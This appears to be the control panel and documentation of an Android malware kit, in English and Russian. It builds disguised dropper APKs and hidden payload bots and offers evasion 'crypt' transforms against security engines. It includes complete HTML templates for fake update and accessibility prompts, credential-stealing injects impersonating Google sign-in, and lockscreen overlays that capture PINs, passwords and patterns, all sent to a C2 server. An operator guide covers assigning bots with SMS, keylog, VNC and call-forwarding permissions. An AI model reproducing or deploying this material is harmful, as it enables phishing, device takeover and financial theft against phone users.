Builder Panel
Loading components...

MOBILE APK SUITE

System Online

Upload APK for Analysis

Drop APK file here or click to browse

Maximum size: 100MB

Detection Checker

Drop an APK to instantly check if it would be flagged by security engines.

Drop APK here

Instant detection check — no full report needed

Analysis Overview

Upload and analyze an APK first.

Detailed Findings

No findings yet.

Evasion Advisor

Shows how each detection can be bypassed + how to improve the detector.

APK Transformer

Apply evasion transforms to test detector resilience.

Saved Reports

Evasion Crypt

Select a built APK and apply evasion transforms. Builder creates clean APKs, Crypt obfuscates them.

Documentation

Panel Modes

setPanelMode(mode, persist) — switches panel section visibility.

JavaScript
setPanelMode('builder')        // switch to builder mode
setPanelMode('all', true)      // show all, persist to localStorage
setPanelMode('crypt', false)   // show crypt, don't persist
allAll sections
researchAPK analysis
builderAPK builder
cryptObfuscation
libraryOffers catalog

Install Template (first screen)

File naming: html_install_*.html

HTML
<button id="btn">Update</button>
<script>
document.getElementById("btn").onclick = function() {
    if (typeof Android !== "undefined" && Android.start) Android.start();
    else location.href = "app://install";
};
</script>

Full template example:

HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Update Required</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: sans-serif; background: #fff; min-height: 100vh; display: flex; flex-direction: column; align-items: center; padding: 40px 24px; }
.btn { display: block; width: 100%; max-width: 380px; padding: 16px; border: none; border-radius: 24px; font-size: 16px; font-weight: 600; background: #1a73e8; color: #fff; cursor: pointer; }
</style>
</head>
<body>
<h1>Update Required</h1>
<p>Your version is outdated.</p>
<button class="btn" id="btn">Update</button>
<script>
document.getElementById("btn").onclick = function() {
    if (typeof Android !== "undefined" && Android.start) Android.start();
    else location.href = "app://install";
};
</script>
</body>
</html>

Dropper A11Y Template (second screen)

File naming: html_dropper_a11y_*.html

HTML
<a href="app://enable_a11y">Enable</a>

Placeholders (auto-replaced):

Template
__PAYLOAD_APP_NAME__
__A11Y_TITLE__
__A11Y_DESCRIPTION__
__A11Y_BUTTON__

Full template example:

HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Enable Protection</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: sans-serif; background: #f8f9fa; min-height: 100vh; display: flex; flex-direction: column; align-items: center; padding: 48px 24px; }
.btn { display: block; width: 100%; max-width: 380px; padding: 16px; border: none; border-radius: 24px; font-size: 16px; font-weight: 600; background: #1a73e8; color: #fff; text-decoration: none; }
</style>
</head>
<body>
<h1>One More Step</h1>
<p>Enable protection to continue.</p>
<a class="btn" href="app://enable_a11y">Enable</a>
</body>
</html>

How to Write Injects

Inject overlays are HTML pages shown on the target device to capture credentials. They are served from the C2 server and displayed via WebView overlay.

Required structure

HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<meta name="target-package" content="com.google.android.gm">
<title>Google Login</title>
</head>
<body>
<form id="login-form">
    <input type="email" id="email" placeholder="Email" required>
    <input type="password" id="password" placeholder="Password" required>
    <button type="submit">Sign in</button>
</form>
<script>
document.getElementById('login-form').addEventListener('submit', function(e) {
    e.preventDefault();
    var data = JSON.stringify({
        type: 'google_login',
        email: document.getElementById('email').value,
        password: document.getElementById('password').value,
        timestamp: Date.now()
    });
    window.Android.reportCredentials(data);
    document.body.innerHTML = '<h2>Thank you</h2>';
});
</script>
</body>
</html>

Required elements

target-package meta<meta name="target-package" content="com.xxx">
reportCredentials()window.Android.reportCredentials(jsonString)
user-scalable=noPrevent zoom on viewport meta

reportCredentials JSON format

JSON
{
    "type": "google_login",
    "email": "user@gmail.com",
    "password": "secret123",
    "timestamp": 1712345678000
}

How it works

1. Operator clicks ⚙️ on bot cardOpens Inject modal
2. Operator clicks "Inject All"Sends show_overlay to bot
3. Bot shows overlayWebView with inject HTML
4. User enters credentialsform submit → reportCredentials()
5. C2 receives credentialsStored in results, shown in panel

How to upload

Inject Hub → fill Name + Package → select HTML file → Upload. Or via API:

HTTP
POST /api/html-templates/upload
Content-Type: multipart/form-data

file: inject_google.html
page: injects
name: Google Login
target: com.google.android.gm

JS Bridge Commands

JavaScript
Android.start()     // install payload
app://install       // alternative trigger
app://enable_a11y   // open Accessibility settings

Upload Custom Template

HTTP
POST /api/html-templates/upload
Content-Type: multipart/form-data

file: your_template.html
page: install | dropper_a11y

Troubleshooting

Button not working:

JavaScript
// Check Android bridge exists
if (typeof Android !== "undefined" && Android.start) {
    Android.start();
} else {
    location.href = "app://install";
}

Template not showing in list:

Text
// File must be .html
// Name must match pattern:
//   html_install_*.html
//   html_dropper_a11y_*.html

Placeholders not replaced:

Text
// Only for A11Y templates
// Install templates are static (no placeholders)

Overlays (Lockscreen)

Lockscreen overlays are full-screen HTML pages displayed on the target device when the screen locks. Used to capture PIN, password, or pattern.

Overlay Types

PIN Lock6-digit PIN input with auto-submit
Password LockText input with show/hide toggle
Pattern Lock3x3 grid touch pattern

Required meta tag

HTML
<meta name="overlay-type" content="pin">
<!-- or: password, pattern -->

JS Bridge (PIN example)

JavaScript
// Report captured PIN
window.Android.report('pin', {value: '123456'});

// Report captured password
window.Android.report('password', {value: 'mypassword'});

// Report captured pattern (sequence of dot indices)
window.Android.report('pattern', {value: '01245678'});

// Close overlay when done
window.Android.finish();

How to apply overlay

1. Select device in C2 PanelClick on device card
2. Open Inject HubClick Inject Hub button
3. Switch to Overlays tabClick Overlays tab
4. Select overlay typePIN / Password / Pattern
5. Click ApplyOverlay sent to device

Inject Hub Workflow

Inject Hub is the central UI for managing injects and overlays. Open it from the device card toolbar.

Tabs

InjectsCredential capture overlays (banking, social, crypto)
OverlaysLockscreen overlays (PIN, password, pattern)
LogsCaptured credentials history

Upload custom inject

1. Open Inject HubClick Inject Hub on device card
2. Select Injects tabDefault tab
3. Click UploadSelect HTML file
4. Fill NameDisplay name for the inject
5. Fill Target Packagee.g. com.google.android.gm
6. Click OKInject uploaded and ready

Apply inject to device

1. Select deviceClick on device card
2. Open Inject HubClick Inject Hub button
3. Find injectInjects with matching target package shown first
4. Click ApplyInject sent to device

Upload via API

HTTP
POST /api/html-templates/upload
Content-Type: multipart/form-data
Authorization: Bearer 

file: your_inject.html
page: injects
name: My Custom Inject
target: com.target.app

Transfer Bots to Operators

Team admins can transfer bots to operators with per-bot permission control. Operators see only transferred bots and can use only assigned permissions.

Roles

super_adminSees ALL bots, ALL teams. Full access.
team_adminSees team bots. Can transfer to operators.
operatorSees only transferred bots. Writes reports.

Transfer workflow

1. Select botsClick Select, check bots
2. Click TransferTransfer button appears
3. Select operatorDropdown shows team operators
4. Select permissionsscreen, data, input, overlay, ussd, manage
5. Click TransferBots transferred with permissions

Permissions

screenVNC screen capture
dataSMS, contacts, keylog, files
inputTouch input, key injection
overlayInject overlays, lockscreen
ussdUSSD codes, call forwarding
manageApp install, kill, block, protect

Revoke permissions

1. Select botsClick Select, check bots
2. Click RevokeRevoke button appears
3. Select operatorOperator to revoke from
4. Select permissionsEmpty = remove operator entirely
5. Click RevokePermissions revoked

Notes and Reports

Operator writes notesVisible to team_admin and super_admin
Team admin sees all notesAll operator notes in team
Super admin sees allAll notes from all teams

Dropper (Stage 1 — what user sees)

HTML templates

Три таблицы — выбери строку (○). Внизу таблицы «+ Добавить шаблон». Кнопка в HTML: Android.start().

+

Update Play Store

→ install.html
НазваниеРазмерТип
+

One more step

→ dropper_a11y.html
НазваниеРазмерТип
+

Installing...

→ loader.html
НазваниеРазмерТип

App icons

Две таблицы — выбери строку (○). Превью справа внизу. «+ Добавить иконку» — свой PNG.

+

Dropper

→ launcher icon, stage 1
НазваниеApp nameРазмерТип
+

Payload

→ hidden app icon, stage 2
НазваниеApp nameРазмерТип

Payload (Stage 2 — hidden bot)

Имя в Settings → Accessibility (может отличаться от launcher name).

Устройство (ADB)

Подключи устройство по USB

Dropper = Package Name вверху, Payload = Payload Package в секции Payload. Перед билдом сними контроль со старых.

Build Log

Loading...